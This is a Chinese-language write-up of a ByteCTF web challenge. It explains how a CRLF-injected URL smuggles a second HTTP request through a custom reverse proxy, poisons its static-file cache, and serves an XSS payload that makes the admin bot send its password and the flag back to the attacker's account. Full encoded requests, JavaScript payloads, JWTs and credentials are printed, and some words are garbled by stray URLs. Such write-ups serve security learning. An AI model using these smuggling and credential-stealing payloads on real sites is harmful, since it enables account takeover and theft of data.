题目信息
A platform can show your essays to express your love for A-SOUL!!!
https://39.105.189.132:30443
bot nc 39.105.189.132 30000https://39.105.56.120:30443
bot nc 39.105.56.120 30000https://39.105.13.40:30443
bot nc 39.105.13.40 30000https://39.105.153.197:30443
bot nc 39.105.153.197 30000Note: Please don't use scanner
Hint1: Environment: https://bytectf.feishu.cn/file/boxcnEgg8wORkydhrVdSHnpZdDb 请不要扫描目录,flag需要管理员访问/flag获取
Hint2: init.sql: https://bytectf.feishu.cn/file/boxcnXZaup2iOONRCW1rQ1zCSLc ; And notice the difference of each response
初步分析
对 a-ginx 和 backend 两个文件进行逆向分析。
起初将重点放在功能实现的 backend 上,并没有找到可利用的漏洞。
后来重点放在前端实现,在 index.html 里看到一行文字。
We're sorry but jiaran.icu doesn't work properly without JavaScript enabled. Please enable it to continue.
然后在网上找到了代码出处 https://github.com/Fungx/Asoul-ICU/</https://impakho.com/post/code">Fungx/Asoul-ICU。
对照题目代码,看到有这么一行。
<div ref="htmlContent" v-html="article.htmlContent"></div>
如果不是考察 Vue 框架本身的漏洞,那么这题的重点应该就是这里。
此处应该有机会进行 XSS攻击。
翻了翻机器人 main.py 的代码,能够执行 JS代码 的地方只有这里。
client.execute_script("location.href='/#/articles/' + atob(`{}`)".format(b64enhttps://impakho.com/post/code(uuid.enhttps://impakho.com/post/code('utf8')).dehttps://impakho.com/post/code('utf8')))
只能控制 location.href,那么想到跨目录请求。
试了一下。
location.href='/#/articles/abc' => https://aginx/v/articles/abc location.href='/#/articles/..%2..%2Fabc' => https://aginx/abc
可以访问 aginx 里的服务。
好吧,重点要放在 a-ginx 上面了。
一般情况下,除了我们能看到的 public 文件夹下面的静态文件,a-ginx 直接将请求转发至 backend 处理。
那么有可能会是 addArticle 的时候对 content 过滤不严谨,插入数据库里再读出时导致 XSS 的发生。
但是看了一下 backend 的处理手法,用到了第三方库 microcosm-cc/bluemonday 。
其中调用了 UGCPolicy().Sanitize() 处理 content 生成 htmlContent,调用了 NewPolicy().Sanitize() 处理 content 生成 plainContent。
看了一下 bluemonday 的源代码,除非存在过滤不严谨的情况,否则考点应该不是这里。
那么有可能会是 backend 上不同的路由返回同样格式的结果,导致在请求 /v/articles/:ID 路由的返回内容出现“张冠李戴”的情况。
经过分析,在其它路由上并没有发现返回与该路由相同格式的结果。
恭喜本题完结撒花,顺利拉闸!
深入分析
既然不是 backend 的问题,那有没有可能是 a-ginx 返回了“错误”的结果呢?
结合本地调试和逆向分析,发现静态文件请求的响应头带上了 Cache-Key,而反向代理请求的响应头在 a-ginx 处也被加上了 Trace-Id。
好家伙,整了好一个 Web前端服务,缓存 和 追踪,该有都有!
那么这时我就好奇,这个 缓存 的缓存文件在本地并没有看到,它理应存放在 /app/cache 里。
经过测试,原来在 a-ginx 端的静态文件并不会进行缓存,的确没必要缓存了,但是照样返回了 Cache-Key。(迫真
然后发现在请求 /static/ 的时候,假如在 a-ginx 端找不到对应的静态文件,会将请求转发至 backend 处理。若请求的响应状态码为 200,响应正文才会被 a-ginx 缓存下来。
到这里,我们会想到如何 污染缓存 来满足 XSS 的出现条件。
在 a-ginx 端进行 任意文件写入,进而写入恶意缓存?
考点应该不是这个,毕竟 flag 存放在 backend 端。而 backend 端是存放 flag 的地方,相对更加“安全”,也很难干预其返回内容。
深入分析 a-ginx 的反向代理原理,发现其直接发起 tcp 请求至 backend 端,再提取用户端请求的内容,进行简单的字符串拼接实现了转发请求的功能。
此处就出现了一个曾经出现过的 Web安全漏洞 了。
漏洞点解析
直接搬出最终 payload 来进一步讲解。
当用户发起以下请求至 a-ginx 时,
GET /static/v4WPbblaISwL%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2 Host: 39.105.13.40:30443 Content-Type: application/x-www-form-urlenhttps://impakho.com/post/coded Content-Length: 921 title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D
a-ginx 会将 METHOD 和 URL 两部分提取出来,然后检查 PROTOCOL 是否为 HTTP/2。
URL 会进行 URL解码。Header 部分会增加一个名为 X-Sup3r-Re4l-Ip 的属性,属性值为用户的来路IP带上端口。
然后进行拼接,大致得到如下。
GET /static/v4WPbblaISwL HTTP/1.1 Connection: keep-alive Host: a POST /v/articles/preview HTTP/2 Host: 39.105.13.40:30443 Content-Type: application/x-www-form-urlenhttps://impakho.com/post/coded Content-Length: 921 title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D
相当于在一个 tcp 上,发起两个 http 请求至 backend 端。
这里应该使用 Connection: keep-alive 请求头告知 backend 端保持 tcp 连接而不是立即断开,以免影响后续 http 请求的返回。
若请求的响应状态码为 200,响应正文才会被 a-ginx 缓存下来。
由于请求 /v/articles/preview 始终返回的响应状态码为 200,所以响应正文会被缓存下来。
经过测试发现,a-ginx 有时接收到的为第一个 http 请求的响应,有时接收到的为第二个 http 请求的响应。
因此只需要多请求几次,让它将从 backend 端接收到的响应正文缓存下来,再次访问该 URL 就会返回固定结果了。
/v/articles/preview 是文章预览功能,其返回内容取决于模板文件 preview.tmpl。
{{.title}}<br/>{{.content}}
{{.title}} 和 {{.content}} 我们都能够随意控制。
而 /v/articles/:ID 返回的格式大概如下:
{"data":{"_id":"1","title":"2","author":"3","htmlContent":"6","submissionTime":4,"tags":"5"},"status":0}
基本上,我们有能力构造出上面的格式。只需要将 <br/> 当作无关字符即可。
到这里,我们基本可以进行 XSS攻击 了。
构建攻击思路
由于前端使用 Vue,开发过 Vue 的同学应该清楚,通过 v-html 插入的 <script> 标签是无法运行的,这是由于 Vue 在渲染完成后会对 <script> 标签进行屏蔽。
如果想在 Vue 上运行 热加载代码,有两种方法。
一是提前预留 eval 函数或者其它热更新代码块。
二是采用其它运行脚本代码的途径。 这里直接用比较常见的 <img onerror=。
/flag 路由主要有两个校验。
一是判断 X-Sup3r-Re4l-Ip 是否位于 172.16.0.0/12。由于 backend 端用户无法直接访问,这个校验就无法绕过了。
二是判断 Authorization 的登录用户是否为 admin。这里采用了 JWT,签名密钥直接由 rand.Read (即 /dev/urandom)生成。无法绕过。
我们需要让管理员访问 /flag,然后返回结果给我们。
由于该网站用户登录账号后,其登录凭据 Authorization 会存储在 Vue变量 中以供后续发起请求时进行身份验证。我们需要提取其 Authorization,然后通过 XMLHTTP 即可伪造请求。
这里我并没有找到 Authorization 的存放位置,反而轻易地找到了登录密码的存放位置。
通常来说,在表单提交后,在下次再次使用该表单之前,开发者并不会对表单数据进行清除,所以一些敏感信息仍然会存放在 Vue变量 中。
构造核心攻击载荷
1、让管理员发起以下请求,然后在自己账号中就能看到一篇名为 here_is_pwd 的文章,里面就有管理员的密码。
var xhttp1 = new XMLHttpRequest(); xhttp1.open("POST", "/v/articles", true); xhttp1.setRequestHeader("Content-Type","application/json"); xhttp1.setRequestHeader("Authorization",自己账号的Authorization); xhttp1.send(JSON.stringify({"title":"here_is_pwd","content":document.getElementById("app").__vue__.$children[2]._data.form.password,"tags":[],"is_public":false}));
然后登录管理员账号,就能提取管理员账号的 Authorization。
2、让管理员发起以下请求,然后在自己账号中就能看到一篇名为 here_is_flag 的文章,里面就有 flag。
var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var xhttp1 = new XMLHttpRequest(); xhttp1.open("POST", "/v/articles", true); xhttp1.setRequestHeader("Content-Type","application/json"); xhttp1.setRequestHeader("Authorization",自己账号的Authorization); xhttp1.send(JSON.stringify({"title":"here_is_flag","content":xhttp.responseText,"tags":[],"is_public":false})); } }; xhttp.open("GET","/flag",true); xhttp.setRequestHeader("Authorization",管理员账号的Authorization); xhttp.send();
完整攻击流程
首先注册一个账号,密码使用随机密码,防止其他选手上车。
账号:nVmSStPzISQ9 密码:7Tq2sPxMBqRF
然后提取自己账号的 Authorization。
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw
不断发起以下请求,直至响应状态码返回 200。其中 v4WPbblaISwL 为随机值。
GET /static/v4WPbblaISwL%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2 Host: 39.105.13.40:30443 Content-Type: application/x-www-form-urlenhttps://impakho.com/post/coded Content-Length: 921 title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D
然后告诉机器人需要访问的 article id 为:
..%2F..%2Fstatic%2Fv4WPbblaISwL%2520HTTP%252F1.1%250D%250AConnection:%2520keep-alive%250D%250AHost:%2520a%250D%250A%250D%250APOST%2520%252Fv%252Farticles%252Fpreview
稍等片刻,在自己账号中就能看到一篇名为 here_is_pwd 的文章,里面就有管理员的密码。
管理员密码:The_Passw0rd_y0u_w1lI_n3ver_kn0w!!!_9f3253946623
登录管理员账号 admin,提取到管理员账号的 Authorization。
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgzODIsInVzZXJuYW1lIjoiYWRtaW4ifQ.DeRjnC-Ldy7eoH5Y2rmL11YHDeCrz8pjC9LbUaZs8FY
不断发起以下请求,直至响应状态码返回 200。其中 rbGK4LT0BNUq 为随机值。
GET /static/rbGK4LT0BNUq%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2 Host: 39.105.13.40:30443 Content-Type: application/x-www-form-urlenhttps://impakho.com/post/coded Content-Length: 1316 title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp%20%3D%20new%20XMLHttpRequest()%3Bxhttp.onreadystatechange%20%3D%20function()%20%7Bif%20(this.readyState%20%3D%3D%204%20%26%26%20this.status%20%3D%3D%20200)%20%7Bvar%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_flag%5C%22%2C%5C%22content%5C%22%3Axhttp.responseText%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B%7D%7D%3Bxhttp.open(%5C%22GET%5C%22%2C%5C%22%2Fflag%5C%22%2Ctrue)%3Bxhttp.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgzODIsInVzZXJuYW1lIjoiYWRtaW4ifQ.DeRjnC-Ldy7eoH5Y2rmL11YHDeCrz8pjC9LbUaZs8FY%5C%22)%3Bxhttp.send()%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D
然后告诉机器人需要访问的 article id 为:
..%2F..%2Fstatic%2FrbGK4LT0BNUq%2520HTTP%252F1.1%250D%250AConnection:%2520keep-alive%250D%250AHost:%2520a%250D%250A%250D%250APOST%2520%252Fv%252Farticles%252Fpreview
稍等片刻,在自己账号中就能看到一篇名为 here_is_flag 的文章,里面就有 flag。
Get Flag
ByteCTF{W4tch_D1anA_4_6ay_K33p_HungEr_AvAy}
结语
一次 Web 和 Reverse 的碰撞交融!
总体来说,本题的漏洞点是个不错的搭配。
把新型且实际的漏洞点结合到简单的题目条件里,体现了出题人不一样的思路。
Source: impakho.com | Author:impakho
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论